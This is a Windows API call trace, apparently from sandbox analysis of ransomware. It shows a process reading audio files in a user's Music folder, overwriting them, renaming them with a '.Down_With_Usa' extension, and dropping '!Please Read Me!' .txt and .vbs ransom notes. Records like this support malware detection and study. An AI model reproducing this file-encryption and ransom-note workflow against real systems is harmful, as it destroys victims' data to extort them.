[0121.894] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\gqKShaT0Dq_YnTE7VgIT.wav", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\gqKShaT0Dq_YnTE7VgIT.wav", lpFilePart=0x0) returned 0x61
[0121.894] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\gqKShaT0Dq_YnTE7VgIT.wav.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\gqKShaT0Dq_YnTE7VgIT.wav.Down_With_Usa", lpFilePart=0x0) returned 0x6f
[0121.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0121.894] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\gqKShaT0Dq_YnTE7VgIT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\gqkshat0dq_ynte7vgit.wav"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a6bc30, ftCreationTime.dwHighDateTime=0x1d5e2c6, ftLastAccessTime.dwLowDateTime=0x92bc7340, ftLastAccessTime.dwHighDateTime=0x1d5e0f9, ftLastWriteTime.dwLowDateTime=0x251d1800, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x7e30)) returned 1
[0121.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0121.895] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\gqKShaT0Dq_YnTE7VgIT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\gqkshat0dq_ynte7vgit.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\gqKShaT0Dq_YnTE7VgIT.wav.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\gqkshat0dq_ynte7vgit.wav.down_with_usa")) returned 1
[0121.896] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\i6Pqe_oe_M3J2CXEk.mp3", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\i6Pqe_oe_M3J2CXEk.mp3", lpFilePart=0x0) returned 0x5e
[0121.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0121.896] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\i6Pqe_oe_M3J2CXEk.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\i6pqe_oe_m3j2cxek.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0121.896] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0x1460
[0121.896] ReadFile (in: hFile=0x3a8, lpBuffer=0x27335a0, nNumberOfBytesToRead=0x1460, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x27335a0*, lpNumberOfBytesRead=0x2eadd8*=0x1460, lpOverlapped=0x0) returned 1
[0121.944] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\i6Pqe_oe_M3J2CXEk.mp3", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\i6Pqe_oe_M3J2CXEk.mp3", lpFilePart=0x0) returned 0x5e
[0121.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0121.944] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\i6Pqe_oe_M3J2CXEk.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\i6pqe_oe_m3j2cxek.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0121.948] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\i6Pqe_oe_M3J2CXEk.mp3", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\i6Pqe_oe_M3J2CXEk.mp3", lpFilePart=0x0) returned 0x5e
[0121.948] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\i6Pqe_oe_M3J2CXEk.mp3.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\i6Pqe_oe_M3J2CXEk.mp3.Down_With_Usa", lpFilePart=0x0) returned 0x6c
[0121.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0121.948] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\i6Pqe_oe_M3J2CXEk.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\i6pqe_oe_m3j2cxek.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d64880, ftCreationTime.dwHighDateTime=0x1d5e785, ftLastAccessTime.dwLowDateTime=0x28a7fab0, ftLastAccessTime.dwHighDateTime=0x1d5d9ab, ftLastWriteTime.dwLowDateTime=0x25243c20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1470)) returned 1
[0121.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0121.948] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\i6Pqe_oe_M3J2CXEk.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\i6pqe_oe_m3j2cxek.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\i6Pqe_oe_M3J2CXEk.mp3.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\i6pqe_oe_m3j2cxek.mp3.down_with_usa")) returned 1
[0121.949] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\uc61w07YHU9oAvbTq.wav", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\uc61w07YHU9oAvbTq.wav", lpFilePart=0x0) returned 0x5e
[0121.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0121.949] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\uc61w07YHU9oAvbTq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\uc61w07yhu9oavbtq.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0121.949] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0xa25b
[0121.950] ReadFile (in: hFile=0x3a8, lpBuffer=0x26282e8, nNumberOfBytesToRead=0xa25b, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x26282e8*, lpNumberOfBytesRead=0x2eadd8*=0xa25b, lpOverlapped=0x0) returned 1
[0121.980] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\uc61w07YHU9oAvbTq.wav", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\uc61w07YHU9oAvbTq.wav", lpFilePart=0x0) returned 0x5e
[0121.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0121.980] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\uc61w07YHU9oAvbTq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\uc61w07yhu9oavbtq.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0122.032] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\uc61w07YHU9oAvbTq.wav", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\uc61w07YHU9oAvbTq.wav", lpFilePart=0x0) returned 0x5e
[0122.032] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\uc61w07YHU9oAvbTq.wav.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\uc61w07YHU9oAvbTq.wav.Down_With_Usa", lpFilePart=0x0) returned 0x6c
[0122.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0122.032] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\uc61w07YHU9oAvbTq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\uc61w07yhu9oavbtq.wav"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdb19d0, ftCreationTime.dwHighDateTime=0x1d5e628, ftLastAccessTime.dwLowDateTime=0x3bea50d0, ftLastAccessTime.dwHighDateTime=0x1d5dcb9, ftLastWriteTime.dwLowDateTime=0x25328460, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xa260)) returned 1
[0122.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0122.033] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\uc61w07YHU9oAvbTq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\uc61w07yhu9oavbtq.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\uc61w07YHU9oAvbTq.wav.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\uc61w07yhu9oavbtq.wav.down_with_usa")) returned 1
[0122.035] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x6b
[0122.035] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz", nBufferLength=0x105, lpBuffer=0x2eaf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz", lpFilePart=0x0) returned 0x48
[0122.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb360) returned 1
[0122.035] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz", nBufferLength=0x105, lpBuffer=0x2eae50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz", lpFilePart=0x0) returned 0x48
[0122.035] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eadf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x6b
[0122.035] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eadf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0122.035] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb000 | out: lpFindFileData=0x2eb000*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0122.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb2b0) returned 1
[0122.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb270) returned 1
[0122.037] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x5d
[0122.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb090) returned 1
[0122.038] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb000) returned 1
[0122.040] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2ead50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x5d
[0122.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb230) returned 1
[0122.040] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb1a0) returned 1
[0122.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb000) returned 1
[0122.042] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9", nBufferLength=0x105, lpBuffer=0x2eaaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9", lpFilePart=0x0) returned 0x54
[0122.042] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\", nBufferLength=0x105, lpBuffer=0x2eaa90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\", lpFilePart=0x0) returned 0x55
[0122.042] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\*", lpFindFileData=0x2eaca0 | out: lpFindFileData=0x2eaca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9b39f0, ftCreationTime.dwHighDateTime=0x1d5e737, ftLastAccessTime.dwLowDateTime=0xe82d15f0, ftLastAccessTime.dwHighDateTime=0x1d5dc9e, ftLastWriteTime.dwLowDateTime=0xe82d15f0, ftLastWriteTime.dwHighDateTime=0x1d5dc9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.042] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9b39f0, ftCreationTime.dwHighDateTime=0x1d5e737, ftLastAccessTime.dwLowDateTime=0xe82d15f0, ftLastAccessTime.dwHighDateTime=0x1d5dc9e, ftLastWriteTime.dwLowDateTime=0xe82d15f0, ftLastWriteTime.dwHighDateTime=0x1d5dc9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.042] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec36b10, ftCreationTime.dwHighDateTime=0x1d5e4b3, ftLastAccessTime.dwLowDateTime=0x1a20a0a0, ftLastAccessTime.dwHighDateTime=0x1d5e18a, ftLastWriteTime.dwLowDateTime=0x1a20a0a0, ftLastWriteTime.dwHighDateTime=0x1d5e18a, nFileSizeHigh=0x0, nFileSizeLow=0xfbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="s01xZyFmRVY-.wav", cAlternateFileName="S01XZY~1.WAV")) returned 1
[0122.042] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa444f80, ftCreationTime.dwHighDateTime=0x1d5de6d, ftLastAccessTime.dwLowDateTime=0x623d9f90, ftLastAccessTime.dwHighDateTime=0x1d5db50, ftLastWriteTime.dwLowDateTime=0x623d9f90, ftLastWriteTime.dwHighDateTime=0x1d5db50, nFileSizeHigh=0x0, nFileSizeLow=0xb88a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tg4iyiX7scpgWco.mp3", cAlternateFileName="TG4IYI~1.MP3")) returned 1
[0122.043] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0122.043] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf50) returned 1
[0122.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf10) returned 1
[0122.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb000) returned 1
[0122.043] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9", nBufferLength=0x105, lpBuffer=0x2eaaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9", lpFilePart=0x0) returned 0x54
[0122.043] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\", nBufferLength=0x105, lpBuffer=0x2eaa90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\", lpFilePart=0x0) returned 0x55
[0122.043] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\UqZ74MPQQ3r5MXx4mHF9\\*", lpFindFileData=0x2eaca0 | out: lpFindFileData=0x2eaca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9b39f0, ftCreationTime.dwHighDateTime=0x1d5e737, ftLastAccessTime.dwLowDateTime=0xe82d15f0, ftLastAccessTime.dwHighDateTime=0x1d5dc9e, ftLastWriteTime.dwLowDateTime=0xe82d15f0, ftLastWriteTime.dwHighDateTime=0x1d5dc9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.044] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9b39f0, ftCreationTime.dwHighDateTime=0x1d5e737, ftLastAccessTime.dwLowDateTime=0xe82d15f0, ftLastAccessTime.dwHighDateTime=0x1d5dc9e, ftLastWriteTime.dwLowDateTime=0xe82d15f0, ftLastWriteTime.dwHighDateTime=0x1d5dc9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.044] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec36b10, ftCreationTime.dwHighDateTime=0x1d5e4b3, ftLastAccessTime.dwLowDateTime=0x1a20a0a0, ftLastAccessTime.dwHighDateTime=0x1d5e18a, ftLastWriteTime.dwLowDateTime=0x1a20a0a0, ftLastWriteTime.dwHighDateTime=0x1d5e18a, nFileSizeHigh=0x0, nFileSizeLow=0xfbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="s01xZyFmRVY-.wav", cAlternateFileName="S01XZY~1.WAV")) returned 1
